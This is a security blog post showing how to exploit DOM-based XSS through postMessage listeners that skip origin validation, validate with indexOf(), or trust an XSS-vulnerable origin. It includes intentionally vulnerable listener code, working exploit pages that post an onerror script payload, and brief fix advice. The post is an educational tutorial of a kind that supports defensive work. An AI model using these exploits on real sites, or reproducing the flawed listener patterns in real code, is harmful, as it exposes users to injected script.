Exploiting DOM Based XSS via Misconfigured postMessage() Function

Armaan Pathan
4 min readMar 31, 2022

--

Today, we will be discussing how to exploit DOM-based XSS through Misconfigured Postmessage function. Two sites can communicate with each other only when they have the same protocol, hostname, and port.

If the two sites do not have similar properties mentioned above, it will trigger the Same Origin Policy

There are several ways in which you can bypass the Same Origin Policy. One of them is the postMessage function. The postMessage method safely enables cross-origin communication between Window objects. postMessage uses two methods to cross communicate between windows. They are as follows:

Here are the different scenarios in which the function postMessage() is misconfigured and made vulnerable to DOM-based XSS.

Scenario 1:- No Origin Validation Check

In this scenario, there are no origin checks/validations, which means that the application will receive a message from any domain which is using postMessage() function.

Vulnerable Code

<html>
<head>
<title>XSS_ME_</title>
</head>
<script>
window.addEventListener('message', function(e) {
document.getElementById('s').innerHTML = e.data.s;
})
</script>
<form>
<h3 id="s">Postmessage XSS</h3>
<input type=text> </input>
<input type="button" value="Click">
</form>
</div>
</body>
</html>

As you can see from the code snippet, there is no origin validation implemented.

In this scenario, an attacker builds an exploit with the use of postMessage() function which will allow cross-origin communication and the attacker will be able to deliver XSS payload into the victim/main application.

Exploit Code

<html>
<body>
<input type=button value="Click Me" id="btn"></body><script>
document.getElementById('btn').onclick = function(e){

window.poc = window.open('http://begbounty.xyz/postmessage1.html');
setTimeout(function()
{
window.poc.postMessage
(
{
"s": "<img src =x onerror=alert(1);>",
}, '*'
);
},
2000);
}
</script>
</html>

Scenario 2: Application is Using indexOf() Function for Origin Validation

In this scenario, the application uses the indexOf() function for the origin validation. In this case, the function checks that the whitelisted domain is included in the origin. Using the indexOf() function for origin validation is a bad practice as this can be bypassed by creating a subdomain that starts with a given string in the indexOf() function.

Vulnerable Code

<html>    
<head>
<title>XSS_ME_</title>
</head>
<script>
window.addEventListener('message', function(e) {
if(e.origin.indexOf("begbounty.xyz") > 0){ document.getElementById('s').innerHTML = e.data.s;

}
});
</script>
<body>
<div class="container">
<form>
<h3 id="s">Postmessage XSS</h3> <input type=text> </input> <input type="button" value="hehe!"> </form>
</div>
</body>
</html>

As you can see in the above-mentioned code, the application is using indexOf() function for origin validation.

(e.origin.indexOf("begbounty.xyz") > 0)

In order to exploit this misconfiguration, I have created a subdomain in which I will be hosting the exploit code.

https://begbounty.xyz.x3b.in/index.html

Exploit Code

<html>
<body>
<input type=button value="Click Me" id="btn"></body><script>document.getElementById('btn').onclick = function(e){

window.poc = window.open('http://begbounty.xyz/postmessage2.html');
setTimeout(function()
{
window.poc.postMessage
(
{
"s": "<img src =x onerror=alert(1);>",
},'*'
);
},
2000);
}
</script>
</html>

Scenario :3 WhiteListed Origin/Domain is Vulnerable with Reflected/Stored XSS

<html>
<head>
<title>XSS_ME_</title>

</head>
<script>
window.addEventListener('message', function(e) {
if (e.origin == "http://149.28.205.217:8083") {
document.getElementById('s').innerHTML = e.data.s;
}
});
</script>
<body>
<div class="container">
<form>

<h3 id="s">Postmessage XSS</h3>
<input type=text> </input>

<input type="button" value="hehe!">

</form>
</div>
</body>
</html>

As you can see in the above code snippet, you will find that the addEventListener() is validating Protocol,Hostname/IP and Port number. This means the function will receive messages which are coming from http://149.28.205.217:8083

What if http://149.28.205.217:8083 is vulnerable to Stored/Reflected XSS?

Since it is vulnerable to Reflected XSS, we can use this to inject postMessage() exploit code.

Exploit

Fix

  • Whitelist Origin in the window.addEventListener function.
  • Use proper Regex while whitelisting the domain.
  • Perform cross-site scripting related test cases on all the pages before whitelisting the domain/host into the function.

Thanks for reading the blog.

Special thanks to Paresh Parmar.

Feel free to ping me on https://twitter.com/armaancrockroax?lang=en if you have any doubts related to the blog post.

--

--